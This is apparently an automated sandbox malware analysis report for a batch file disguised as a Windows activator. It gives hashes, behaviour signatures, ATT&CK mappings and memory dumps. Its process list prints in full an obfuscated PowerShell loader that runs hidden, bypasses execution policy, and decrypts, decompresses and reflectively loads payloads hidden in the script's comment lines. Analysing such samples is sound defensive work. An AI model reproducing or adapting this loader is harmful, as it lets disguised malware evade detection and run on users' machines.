Overview

overview

10

Static

static

1

windowsactivator.bat

windows7-x64

8

windowsactivator.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    18-05-2024 03:50

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General

  • Target

    windowsactivator.bat

  • Size

    3.3MB

  • MD5

    ad2205a76bbb0da48c8a9a08f719ab4a

  • SHA1

    85e6141e85c8aa9fec30185e2c404e7b8eb04ecf

  • SHA256

    fcbc5a9373b2ae956dc3457dfc1a420874b74e8eb2608a18b4af872d081dcdf5

  • SHA512

    999da62f3b0ace84e19044671f74b68e65bb6e844ca01b466c201948e6251f98ba285a6c4a8e966de08bf3cf55f5d5cb5ac72dd111b1ce8374c8d198998448be

  • SSDEEP

    49152:ieZhRUmd8UOahBXe2uA5l8QFsJPj93JFE/zQVsGEd9yMM:it

Score
8/10
execution

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 45 IoCs
  • Suspicious use of SendNotifyMessage 44 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2056
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/m+uM7hqICRxp6Rj0SHeKQPPt+zvIT8gCSs7+jKku8M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cfQ3peVRUENpqFR1SQzgkQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tqQsK=New-Object System.IO.MemoryStream(,$param_var); $IcUTR=New-Object System.IO.MemoryStream; $HyFSs=New-Object System.IO.Compression.GZipStream($tqQsK, [IO.Compression.CompressionMode]::Decompress); $HyFSs.CopyTo($IcUTR); $HyFSs.Dispose(); $tqQsK.Dispose(); $IcUTR.Dispose(); $IcUTR.ToArray();}function execute_function($param_var,$param2_var){ $YyUtj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VPmsL=$YyUtj.EntryPoint; $VPmsL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat';$brVkN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat').Split([Environment]::NewLine);foreach ($hBggO in $brVkN) { if ($hBggO.StartsWith(':: ')) { $kvrLw=$hBggO.Substring(3); break; }}$payloads_var=[string[]]$kvrLw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2136
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:2760

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

  • memory/2136-4-0x000007FEF5D1E000-0x000007FEF5D1F000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2136-5-0x000000001B6B0000-0x000000001B992000-memory.dmp
    Filesize

    2.9MB

    Download
  • memory/2136-7-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2136-8-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2136-6-0x0000000000300000-0x0000000000308000-memory.dmp
    Filesize

    32KB

    Download
  • memory/2136-9-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2136-10-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2136-11-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2136-12-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2760-13-0x0000000140000000-0x00000001405E8000-memory.dmp
    Filesize

    5.9MB

    Download
  • memory/2760-14-0x0000000140000000-0x00000001405E8000-memory.dmp
    Filesize

    5.9MB

    Download